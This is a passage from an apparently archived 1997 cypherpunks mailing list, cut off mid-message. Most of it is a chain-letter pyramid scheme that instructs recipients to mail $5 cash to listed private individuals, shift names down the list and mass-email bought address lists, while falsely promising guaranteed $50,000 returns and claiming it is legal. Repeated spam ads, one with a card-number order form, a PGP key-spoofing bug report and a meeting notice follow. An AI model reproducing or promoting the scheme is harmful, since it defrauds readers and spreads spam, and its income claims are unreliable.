POORER."  
The traditional methods of making money will never allow
you to "move up" or
"get rich", inflation will see to that.  You have just
received information that can 
give you financial freedom for the rest of your life, with
"NO RISK" and "JUST A 
LITTLE BIT OF EFFORT."  You can make more money in the
next few months 
than you have ever imagined.
 
I should also point out that I will not see a penny of
your money, nor
anyone else who has provided a testimonial for this
program.  I have already
made over FOUR MILLION DOLLARS!  I have retired from the
program after
sending out over 16,000 programs.  Now I have several
offices which market
this and several other programs here in the US and
overseas.  By the Spring,
we wish to market the 'Internet' by a partnership with
AMERICA ON LINE.
 
Follow the program EXACTLY AS INSTRUCTED.  Do not change
it in any way.
It works exceedingly well as it is now.  Remember to email
a copy of this
exciting program to everyone that you can think of.  One
of the people you
send this to may send out 50,000...and your name will be
on every one of
them!.  Remember though, the more you send out, the more
potential customers
you will reach.
 
So my friend, I have given you the ideas, information,
materials and
opportunity to become financially independent, IT IS UP TO
YOU NOW!
 
"THINK ABOUT IT"
 
Before you delete this program from your mailbox, as I
almost did, take a
little time to read it and REALLY THINK ABOUT IT.  Get a
pencil and figure
out what could happen when YOU participate.  Figure out
the worst possible
response and no matter how you calculate it, you will
still make a lot of
money!  Definitely get back what you invested.  Any doubts
you have will 
vanish when your first orders come in.  IT WORKS!
 
                                        Paul Johnson,
Raleigh, NC
 
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
 
Let's say that you decide to start small, just to see how
it goes, and we'll
assume you and all those involved send out 2,000 programs
each. Let's also
assume that the mailing receives a .5% response.  Using a
good list the
response could be much better.  Also many people will send
out hundreds of
thousands of programs instead of 2,000.  But continuing
with this example,
you send out only 2,000 programs.  With a .5% response,
that is only 10
orders for REPORT #1.  Those 10 people respond by sending
out 2,000 programs
each for a total of 20,000.  

Out of those .5%, 100 people respond and order REPORT #2.
Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5%
response to that is
1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a
2,000,000 total.  The .5% response to that is 10,000
orders for REPORT #4.
That's 10,000 five dollar bills for you. CASH!!!!  Your
total income in this
example is $50 + $500 + $5000 +$50,000 for a total of
$55,550!!!!
 
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000
PEOPLE YOU 
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS
PROGRAM!  
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE  
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  

Believe me, many people will do that and more!  By the
way, your cost to
participate in this is practically nothing.  You obviously
already have an
internet connection and email is FREE!!!  REPORT #3 will
show you the best
methods for bulk emailing and purchasing email lists.
 
THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It
does not 
require you to come in contact with people, do any hard
work, and best of all, you
never have to leave the house except to get the mail.  If
you believe that
someday you'll get that big break that you've been waiting
for, THIS IS IT!
Simply follow the instructions, and your dream will come
true.  This
multi-level email order marketing program works
perfectly...100% EVERY TIME.
Email is the sales tool of the future.  Take advantage of
this
non-commercialized method of advertising NOW!!  The longer
you wait, the
more people will be doing business using email.  Get your
piece of this action!!
 
MULTI-LEVEL MARKETING (MLM) has finally gained
respectability.  It is being
taught in the Harvard Business School, and both Stanford
Research and The
Wall Street Journal have stated that between 50% and 65%
of all goods and
services will be sold throughout Multi-level Methods by
the mid to late
1990's.  This is a Multi-Billion Dollar industry and of
the 500,000
millionaires in the US, 20% (100,000) made their fortune
in the last several
years in MLM.  Moreover, statistics show 45 people become
millionaires
everyday through Multi-Level Marketing.
 
INSTRUCTIONS
 
We at Erris Mail Order Marketing Business, have a method
of raising capital
that REALLY WORKS 100% EVERY TIME.  I am sure that you
could use 
$50,000 to $125,000 in the next 20 to 90 days.  Before you
say "Bull", please read 
the program carefully.
 
This is not a chain letter, but a perfectly legal money
making opportunity.
Basically, this is what we do:  As with all multi-level
business, we build
our business by recruiting new partners and selling our
products.  Every
state in the USA allows you to recruit new multi-level
business partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS
COME AND ARE
FILLED THROUGH THE MAIL, so you are not involved in
personal selling.  You
do it privately in your own home, store or office.
 
This is the GREATEST Multi-level Mail Order Marketing
anywhere:
 
Step (1)   Order all four 4 REPORTS listed by NAME AND
NUMBER.  Do this by
ordering the REPORT from each of the four 4 names listed
on the next page.
For each REPORT, send $5 CASH and a SELF-ADDRESSED,
STAMPED 
envelope (BUSINESS SIZE #10) to the person listed for the
SPECIFIC REPORT.  
International orders should also include $1 extra for
postage.  It is
essential  that you specify the NAME and NUMBER of the
report requested to
the person you are ordering from.  You will need ALL FOUR
(4) REPORTS
because you will be REPRINTING and RESELLING them.

DO NOT alter the names or sequence other than what the
instructions say.
IMPORTANT:  Always provide same-day service on all orders.
 
Step (2)   Replace  the  name  and  address  under  REPORT
#1  with yours,
moving the one that was there down to REPORT #2.  Drop
the  name and address 
under REPORT #2 to REPORT #3, moving the one that was
there to REPORT #4.  
The name and address that was under REPORT #4 is dropped
from the list and 
this party  is  no doubt on the way to the bank.  When
doing this, make certain you 
type the names and addresses ACCURATELY!  DO NOT MIX UP
MOVING 
PRODUCT/REPORT  POSITIONS!!!
 
Step (3)   Having made the required changes in the NAME
list, save it as a
text (.txt) file in it's own directory to be used with
whatever email
program you like. Again, REPORT #3 will tell you the best
methods of bulk
emailing and acquiring email lists. Step (4)   Email a
copy of the entire
program (all of this is very important) to everyone whose
address you can
get your hands on. Start with friends and relatives since
you can encourage
them to take advantage of this  fabulous  money-making
opportunity. that's
what I did.  And they love me now, more than ever. Then,
email to anyone and
everyone!  Use your imagination! You can get email
addresses from companies
on the internet who specialize in email mailing lists.
These are very
cheap, 100,000 addresses for around $35.00.
 
IMPORTANT:  You won't get a good response if you use an
old list, so always
request a FRESH, NEW list. You will find out where to
purchase these lists
when you order the four 4 REPORTS.
 
ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
REQUIRED REPORTS
 
***Order each REPORT by NUMBER and NAME***
 
ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"SURVIVAL TIPS FOR SMALL BUSINESSES"
 
ORDER REPORT #1 FROM:
 
MARK BLACK
718 FOREST AVE
LARCHMONT, NY 10538
________________________________________________________
REPORT #2
"HOW AND WHERE TO ADVERTISE"
 
ORDER REPORT #2 FROM:
 
MARYANNE BRUNO
411 WESTCHESTER AVE
APT 2K
PORTCHESTER, NY 10573
________________________________________________________
REPORT #3
"SECRETS TO SUCCESSFULLY STARTING YOUR OWN BUSINESS"
 
ORDER REPORT #3 FROM:
 
CARMELA BRUNO
30-21 70 STREET
JACKSON HEIGHTS, NY 11370
________________________________________________________
REPORT #4
"BIG DOLLARS IN YOUR MAILBOX"
 
ORDER REPORT #4 FROM:

MIKE BLACK
411 WESTCHESTER AVE APT 2K
PORTCHESTER, NY 10573

_______________________________________________________
 
CONCLUSION
 
I am enjoying my fortune that I made by sending out this
program. You too,
will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS
outlined in this mailing.
 
To be financially independent is to be FREE.  Free to make
financial
decisions as never before.  Go into business, get into
investments, retire
or take a vacation.  No longer will a lack of money hold
you back.
 
However, very few people reach financial independence,
because when
opportunity knocks, they choose to ignore it.  It is much
easier to say "NO"
than "YES", and this is the question that you must answer.
 Will YOU ignore
this amazing opportunity or will you take advantage of it?
If you do
nothing, you have indeed missed something and nothing will
change.  Please
re-read this material, this is a special opportunity. If
you have any
questions, please feel free to write to the sender of this
information.  You
will get a prompt and informative reply.
 
My method is simple.  I sell thousands of people a product
for $5 that costs
me pennies to produce and email.  I should also point out
that this program
is legal and everyone who participates WILL make money.
This is not a chain
letter or pyramid scam.  At times you have probably
received chain letters,
asking you to send money, on faith, but getting NOTHING in
return, NO
product what-so-ever!  Not only are chain letters illegal,
but the risk of
someone breaking the chain makes them quite unattractive.
 
You are offering a legitimate product to your people.
After they purchase
the product from you, they reproduce more and resell them.
It's simple free
enterprise.  As you learned from the enclosed  material,
the PRODUCT is a
series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only
help you in making
your participation in this program more rewarding, but
will be useful to you
in any other business decisions you make in the years
ahead. You are also
buying the rights to reprint all of the REPORTS, which
will be ordered from
you by those to whom you mail this program.  The concise
one and two page
REPORTS you will be buying can easily be reproduced at a
local copy center
for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!
 
"IT WAS TRULY AMAZING"
 
"Not being the gambling type, it took me several weeks to
make up my mind to
participate in this program.  But conservative as I am, I
decided that the
initial investment was so little that there was no way
that I could not get
enough orders to at least get my money back.  BOY, was I
ever surprised when
I found my medium sized post office box crammed with
orders!  I will make
more money this year than any ten years of my life
before."
 
                                        Mary Riceland,
Lansing, MI
 
TIPS FOR SUCCESS
 
Send for your four 4 REPORTS immediately so you will have
them when the
orders start coming in.  When you receive a $5 order, you
MUST send out the
product/service to comply with US Postal and Lottery laws.
 Title 18
Sections 1302 and 1341 specifically state that:  "A
PRODUCT OR SERVICE 
MUST BE EXCHANGED FOR MONEY RECEIVED."
 
WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
 
1.        Name your new company. You can use your own name
if you desire.
 
2.        Get a post office box (preferred).
 
3.        Edit the names and addresses on the program. You
must remember,
           your name and address go next to REPORT #1 and
the others all
           move down one, with the fourth one being bumped
OFF the list.
 
4.        Obtain as many email addresses as possible to
send until you
           receive the information on mailing list
companies in REPORT #3.
 
5.        Decide on the number of programs you intend to
send out.  The more you
           send, and the quicker you send them, the more
money  you will make.
 

6.        After mailing the programs, get ready to fill
the orders.
 
7.        Copy the four 4 REPORTS so you are able to sent
them out as soon as you
           receive an order. IMPORTANT: ALWAYS PROVIDE
SAME-DAY SERVICE  
           ON ORDERS YOU RECEIVE!
 
8.        Make certain the letter and reports are neat and
legible.
 
YOUR GUARANTEE
 
The check point which GUARANTEES your success is simply
this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!
If you don't
within two weeks, email out more programs until you do.
Then a couple of
weeks later you should receive at least 100 orders for
REPORT #2, if you
don't, send out more programs until you do.  Once you have
received 100 or
more orders for REPORT #2, (take a deep breath) you can
sit back and  relax,
because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it
is  a  proven  guarantee.   Of  those  who  have
participated in the program
and reached the above GUARANTEES-ALL have reached their
$50,000 goal.  

Also, remember, every time your name is moved down the
list you are in front of a
different REPORT, so you can keep track of your program by
knowing what
people are ordering from you. IT'S THAT EASY, REALLY, IT
IS!!!
 
REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 9 Jun 1997 01:09:11 -0700 (PDT)
To: pgp50bugs@pgp.com
Subject: PGP 5.0 doesn't tell me Which key a message is signed by! [SEVERITY 1]
Message-ID: <3.0.1.32.19970609010751.0075c738@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Yow!  I'm using PGP 5.0, with the PGPtray and the Eudora Plugin,
in a version that appears to be b14c3 for Win95.

When I receive a signed email message, or check with PGPtray,
it tells me the message is from "User <email@foo.com>",
but doesn't tell me it's from KeyID 0x12345678 or the 
fingerprint of the key or anything even vaguely difficult to fake.
Thus, I've signed this message as Phil Zimmermann FAKE <prz@acm.org>,
and if I'd left out the FAKE it would be difficult to tell it
from a real Phil key.  The GUI happily gives me a message box saying
"Good signature from Phil Zimmermann FAKE <prz@acm.org>".

We've been discussing 0xDEADBEEF attacks on Cypherpunks and Coderpunks,
but this appears to be far worse - I hope it's been fixed
for the production version?
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5u51kEvGqT1DvpRAQHnwgIAzF7uBmgsk9+c4IZObsnXBJBHuCFEUsMr
3V64azY6Wp156SFgDPGODQvQxzDiQCb96hUz2RK2j7DxfekOZ7rzjw==
=u93K
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wgrip@arcturus.net
Date: Mon, 9 Jun 1997 17:17:08 -0700 (PDT)
To: get@noticed.now
Subject: Get your site Noticed!
Message-ID: <19970380054TAA0856@pwrnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Do you have a webpage that's just sitting there?

Need more hits and visibility?  Now you can promote your pages

like the pros!  The WebSeek Promotion Spider puts your

pages on the TOP of the Search Engines! Get your FREE Shareware 

Version today and see what this powerful program can do for your site!!

For more info please respond to our Autoresponder at:  
netnow@arcturus.net  and say "Promo-Now"

Resellers Needed! 

thanks,

Web Promotions!
~~~~~~~~~~~~~~~~~~~~~~~







Note: You will not receive another message BUT we do utilize
the Remove List at: remove@cyberpromo.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Mon, 9 Jun 1997 21:28:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ZDNet Announces Computer Magazine Archive!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.29700.06091997200011.109755@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


----------------------------------------------------------------
   ZDNET ANNOUNCEMENT        6/10/97
----------------------------------------------------------------

Introducing Computer Magazine Archive:
Subscribe today--FREE until June 30th!

Need an easy way to track the latest computer industry trends, 
research your competitors, follow the latest IPO's or research 
just about anything related to high-tech? 

Computer Magazine Archive, a new service from ZDNet, puts 
over 55,000 articles from 70 of the most popular computer 
publications at your fingertips.  You won't need to search through
piles of old publications or your overstuffed clipping file for 
information anymore.  Simply log on to http://cma.zdnet.com for 
a faster, more effective way to access the information you need.

----SPECIAL LIMITED-TIME OFFER----

Similar information databases typically sell for thousands of 
dollars a year. With Computer Magazine Archive, you can access 
the same information for only $4.95 a month! And as a special 
introductory offer, it's FREE until June 30th when you sign up
today.  Try it risk-free and if you're not completely satisfied,
simply cancel before June 30th and pay absolutely nothing. 
 
Log on to http://cma.zdnet.com to test-drive Computer Magazine 
Archive today. It's the most comprehensive database of computing 
articles you'll find online!

Computer Magazine Archive:  http://cma.zdnet.com

________________________________________________________________     

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

--To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com       

You can leave the subject and body blank.       

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off@lists.zdnet.com      

You can leave the subject and body blank.   
________________________________________________________________

Powered by Mercury Mail: http://www.merc.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dinesh Mahtani (Dino)" <mahtani@vaxvmsx.babson.edu>
Date: Mon, 9 Jun 1997 10:01:02 -0700 (PDT)
To: Cryptography List <ietf-smime@imc.org
Subject: subscribe
Message-ID: <9706091700.AC28932@mozart.inet.co.th>
MIME-Version: 1.0
Content-Type: text/plain


subscribe mahtani@vaxvmsx.babson.edu
 _______________________________________________________________
|								|
|      TEMPORARY EMAIL ADDRESS: mahtani@vaxvmsx.babson.edu	|
|_______________________________________________________________|
 _______________________________________________________________
|								|
| Please note that our company will be changing our Internet	|
| Service Provider in the very near future.  I may be unable 	|
| to view messages sent to mahtani@mozart.inet.co.th.  To 	|
| avoid any possible problems please update your address 	|
| books and/or send carbon copies of all correspondance to my 	|
| old school address during this transition. 			|
|_______________________________________________________________|
 _______________________________________________________________
|								|
|      TEMPORARY EMAIL ADDRESS: mahtani@vaxvmsx.babson.edu	|
|_______________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ijmkkj@micro-net.com
Date: Mon, 9 Jun 1997 22:50:38 -0700 (PDT)
To: shox@usa.net
Subject: Automotive Products - Shocks, Struts, Suspensions
Message-ID: <199706100545.BAA25905@candy.micro-net.com>
MIME-Version: 1.0
Content-Type: text/plain


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Your email address was acquired during a targeted search
of the Web for those we believed would be interested in
the following.  If this message reaches you in error, simply
hit reply and put the word "remove" by itself in the subject
line for immediate removal.
//////////////////////////////////////////////////////////////////////////////

Come visit http://www.shox.com, the home page of RD Enterprises, the nation's 
largest wholesale and retail distributor of shock absorbers, springs, struts, sway 
bars, strut tower braces and suspension packages for street high performance, 
autocross, race, and quality luxury motorcars...including suspension set-ups for 
pick-up trucks, sport utility vehicles (SUV's), motorhomes, kit cars, weekend slalom, 
and full coil over race cars.

If you are interested in a mutual link, contact linx@shox.com for a banner swap 
and/or mutual link.  Thank you for your time!

sales@shox.com

http://www.shox.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: erict@iconmedialab.se (Eric THunfors)
Date: Tue, 10 Jun 1997 00:20:31 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: No Subject
Message-ID: <v02140b01afc2bd9294e6@[193.14.104.150]>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBSCRIBE cypherpunks

_____________
ännu en sån där trevlig signatur rad
_____________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Giggles <tmoore48@ix.netcom.com>
Date: Wed, 11 Jun 1997 18:52:33 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: unsubscribe tmoore48@ix.netcom.com
Message-ID: <339D71E2.545E@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


unsubscribe tmoore48@ix.netcom.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 17:46:52 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: BAY AREA CYPHERPUNKS, JUNE 14, AT PGP Inc. IN SAN MATEO
Message-ID: <3.0.1.32.19970610201741.0075aec8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


      Cypherpunks June 97 Physical Meeting Announcement
      (SF Bay Area, Northern California chapter)

           Date: 14 June 1997 (second Saturday as usual) 
           Time: 12pm - 4pm 
           Host: Pretty Good Privacy, Inc. 
           Contact: Dave Del Torto - 415.596.1781 voice 

Agenda for 14 June 97 (subject to slight variations):

1.Angelos Keromytis & Hugh Daniel on their Linux IPSEC work: 
	Hot news from the recent IPSEC interoperability bake-off in Michigan

2.PGP 5.0 Source Code Release & Public Review: The first release of *all* 
	final PGP 5.0 source code to the People! PGP engineers will be
	present to discuss technical details and answer specific questions. 
	A number of copies will be available (free) to attendees who wish 
	to review the cryptography code (note: we recommend that you
      bring a box or bag, as it's 14 volumes and nearly 7,000 pages). 

3.HIP97 Trip Planning Committee: A group from California is planning on
	attending the 
	     Hacking in Progress '97 
	event sponsored by XS4ALL in the Netherlands (8/9/10 Aug). 
	This event is followed by the IETF meeting in Munich, and some will 
	continue on. We'll discuss our cooperative travel plans. 
	Cf. N.B.: Contact ASAP for flight info as flights are being booked 
	up rapidly (high tourist season). 
		[Editors Note:  _High_ tourists in Amsterdam??]

4. Ian Goldberg's Cool Canadian Crypto Software for Pilot Organizers
	If somebody from Berkeley can give Ian a ride,
	he'll demo the crypto libraries and applications he wrote
	while out of the US.

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
	being in a bank building:  anytime after 12 noon, approach the 
	Bayview Building's Information window (in the plaza, see below for
	directions), and ask the Guard on Duty to let you up to the 
	2nd Floor for the Cypherpunks meeting (use the passphrase 
	"cypherpunks release code"). If you have any difficulty 
	(eg. if the guard is on a break), simply call me at 415.730.3583 
	and I'll let you in. 

      You can arrive at any time during the scheduled meeting hours, 
	though earlier is better if you want to hear the interesting stuff. 


Directions to PGP:

      Pretty Good Privacy's HQ is located at: 

      2121 South El Camino Real 
      9th Floor - (the meeting is on the 2nd Floor) 
      San Mateo CA 94403, USA 

                         Directions available here 
			http://www.pgp.com/pgpcorp/contactpgp.cgi#head
                                    or 
  follow DDT's Directions to PGP's HQ in San Mateo (fossil fuel version): 


                                    MACRO 

      From the North Bay: 

      Hwy 101 South (use right lanes after passing SFO) 
      EXIT Fwy 92 West (move to center lane immediately after ramp)... 
      or 280 South (take Hwy 92 East toward the Bay)... 

      From the South Bay: 

      101 North - EXIT Fwy 92 West (toward Half Moon Bay)... 
      280 North - EXIT Hwy 92 East (toward the Bay)... 

      From the East Bay: 

      San Mateo Bridge (Hwy 92 West) 
      GO past Hwy 101... 



                                     MICRO 

      Once you're on Hwy 92 (from either 280 or 101) 

      EXIT at SOUTH El Camino Real 
	(From 101 it's about a mile, and there are two El Camino exits!)
	(From 280 it's about 7 miles, after you've come down a steep grade,
	levelled out and passed under an overpass) 
      Curve around and down under freeway: you're now travelling south on
	El Camino Real. 
      Get in the LEFT lane *immediately*. (Directly in front of you, 
	you can see the Bayview Building a couple of blocks away: 
	it's the only highrise around.) 
      LEFT on 20th (The very first traffic light after exit ramp. 
	Taco Bell is on left). 
      RIGHT turn at next stop sign (residential street: Palm). 
      PROCEED 1.5 blocks. (Parking Garage entrance at rear of Bayview 
	building is on your right.) 
      PARK on the 2nd level. 

                                     NANO 

      Once you've parked your vehicle in the Garage (it's free): 
      STAIRS (or Elevator) to the main level, step out and... 
      WALK WEST across the courtyard to the main (tallest) building. 
      PASS through the doorway in the stand-alone exterior "glass wall" 
	and approach the "Information" window (also the Guard Station) 
	on the north side of the building. 
      GET the guard's attention (preferably *not* by waving a firearm).
	Use the passphrase and you'll be admitted.  If the guard's on a 
	break, call me at 415.730.3583. 
      ELEVATOR to 2nd Floor. (The meeting room is on left side, slightly
	down the hall) 

      Public Transit

      For CalTrain, get off at the San Mateo station near the Bay Meadows
	horse racing track and head for the tallest building around with
	the huge "Bayview" sign on top. It's a short walk or cab ride. 

      By bus, take any line running on El Camino Real to the intersection
	of 20th in San Mateo and dismount. Look up: you're there. 



- ------------------
Announcement also available at http://www.pgp.com/newsroom/cpunk-info.cgi


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Version: 5.0 beta
Charset: noconv

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IN+R3j+A7AJno7lUxP612Ctm5m/3V2dAa5HrScyCfm3KUiPDxOqozQ==
=gMPf
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: crime@tarsey.com
Date: Wed, 11 Jun 1997 00:50:13 -0700 (PDT)
To: You@Public.Com
Subject: ~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

Now IS THE TIME for you to "Minimize The Risk" of crime affecting 
YOU or a LOVED ONE!

Money Back Guarantee: If unsatisfied for any reason,  you get your
money back, period!  

Upon receiving your order, the Anti-Crime reports will promptly be
emailed to you.


TO ORDER:  Follow the instructions below:

You may pay by Check, Money Order, Cash, Visa or Mastercard.

FAX the form below to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

 - - - - - - - - - - - - - - - - - - -  O R D E R  F O R M  --  - - - - - - - - - - - - - - - - - - - - 

PLEASE PRINT ALL INFORMATION LEGIBLY TO SPEED UP YOUR ORDER

(1.)  [  ] Visa   [  ] Mastercard   [  ] Check   [  ] Money Order   [  ] Cash
(2.)  Credit Card Number:  (put one number on each line)

CC# __  __  __  __ - __  __  __  __ - __  __  __  __ - __  __  __  __
 
(3.)  Expiration Date:  [ __  __  /  __  __ ]  Month/Year      (anti-crime)

Email Address:__________________   Name:_____________________________

Address:_____________________________ City__________ ST_____  Zip_______

Ph.# w/ areacode:__________________ Signature (Required)_____________

***  You may purchase ALL 15 REPORTS with unlimited reproduction rights 
      for a total cost of only $12.00.
***  You may purchase reports individually for $4.00 each.

[   ]  Check here if ordering ALL 15 reports for the $12.00 Special.
 
[   ]  Check here if ordering reports individually and list by # below.

#__________  #__________  #_________  #_________  #_________


FAX the above form to 1-405-330-5379 or MAIL this form to:
Douglas C. Parcells  3126 S. Boulevard  Suite 147   Edmond, OK  73013  USA

*** Pay all orders in U.S. FUNDS or outside the U.S. send the currency equivalent. 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Be sure to INCLUDE YOUR EMAIL ADDRESS so we may fill your order A.S.A.P. !!! 

Best of Luck... we'll visit again. 

Kindest Personal  Regards, 

Douglas C. Parcells
Report Fulfillment Coordinator 

P.S.  Now IS THE TIME for you to "Minimize The Risk" of crime
affecting YOU or a LOVED ONE!  The best way to minimize the risk
of crime affecting you is by taking sensible precautions

02




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 40748258@tarsey.com
Date: Wed, 11 Jun 1997 05:21:51 -0700 (PDT)
To: Friend@public.com
Subject: SAVE YOUR LIFE - PROTECT YOUR PROPERTY!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

Reprint Rights, gives you the right (granted by us) to reproduce any
and all of these reports.

With Reprint Rights, you can photo copy and distribute these reports
to your family, friends, co-workers, teachers, etc.

When distributing these reports you may give them away for FREE or
you may charge for them.  Collect any amount of money you wish.  It's
your money and yours to keep!  We will never ask for any of it !!!

Two Ways You May Order The Above Reports:
1. You may order ALL 15 REPORTS with Unlimited Reproduction
    Rights for a total cost of only $12.00.  
2. You may purchase reports individually for $4.00 each.

